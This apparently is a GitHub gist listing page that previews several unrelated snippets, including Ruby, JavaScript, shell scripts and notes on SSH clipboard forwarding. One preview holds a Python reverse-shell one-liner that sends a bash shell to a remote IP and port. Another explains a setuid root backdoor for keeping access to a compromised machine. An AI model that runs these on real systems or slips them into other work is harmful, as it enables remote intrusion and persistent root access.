Skip to content

Instantly share code, notes, and snippets.

View dergachev's full-sized avatar

Alex Dergachev dergachev

View GitHub Profile
@dergachev
dergachev / ssh-forward-clipboard.md
Last active March 18, 2025 13:30
Forward your clipboard via SSH reverse tunnels

Exposing your clipboard over SSH

I frequently administer remote servers over SSH, and need to copy data to my clipboard. If the text I want to copy all fits on one screen, then I simply select it with my mouse and press CMD-C, which asks relies on m y terminal emulator (xterm2) to throw it to the clipboard.

This isn't practical for larger texts, like when I want to copy the whole contents of a file.

If I had been editing large-file.txt locally, I could easily copy its contents by using the pbcopy command:

@dergachev
dergachev / convert-roman.rb
Last active December 31, 2015 02:49
Roman numeral conversion. Took about 25 minutes, with tests!
def to_roman(i)
if i > 999 or i < 1
raise "Input not supported"
end
i_ones = i % 10
i_tens = (i % 100)/10
i_hundreds = i/100
return HUNDREDS[i_hundreds] + TENS[i_tens] + ONES[i_ones]
end
@dergachev
dergachev / command.js
Created December 11, 2013 19:33
Show anchors backtick.io command. From http://bit.ly/7akCur
(function () { /* v2.2 -- http://bit.ly/7akCur */
function ls(u, c) {
var h = document.getElementsByTagName("head")[0];
var s = document.createElement("script");
s.src = u;
var d = false;
s.onload = s.onreadystatechange = function () {
if (!d && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
d = true;
c();
@dergachev
dergachev / setuid-root-backdoor.md
Last active September 2, 2024 12:08
How to use setuid to install a root backdoor.

Why You Can't Un-Root a Compromised Machine

Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.

While the obvious tricks are easy to spot, like adding an entry to /root/.ssh/authorized_keys, or creating a new user, potentially via running malware, or via a cron job. I recently came across a rather subtle one that doesn't require changing any code, but instead exploits a standard feature of Linux user permissions system called setuid to subtly allow them to execute a root shell from any user account from the system (including www-data, which you might not even know if compromised).

If the "setuid bit" (or flag, or permission mode) is set for executable, the operating system will run not as the cur

# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@dergachev
dergachev / command.js
Created December 9, 2013 22:30
Command.js with %20
for (var i = 1; i <= 100; i++) {
if(i%20 == 0) {
console.log(i + " is a multiple of 20");
}
}
root@ns5001454:~# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
198.50.128.160 * 255.255.255.255 UH 0 0 0 venet0
142.4.204.252 * 255.255.255.255 UH 0 0 0 venet0
192.95.32.0 * 255.255.255.0 U 0 0 0 vmbr0
default 192.95.32.254 0.0.0.0 UG 0 0 0 vmbr0
@dergachev
dergachev / pdf2jpg.sh
Created November 26, 2013 01:51 — forked from yura/pdf2jpg.sh
#!/bin/bash
# Script to convert PDF file to JPG images
#
# Dependencies:
# * pdftk
# * imagemagick
PDF=$1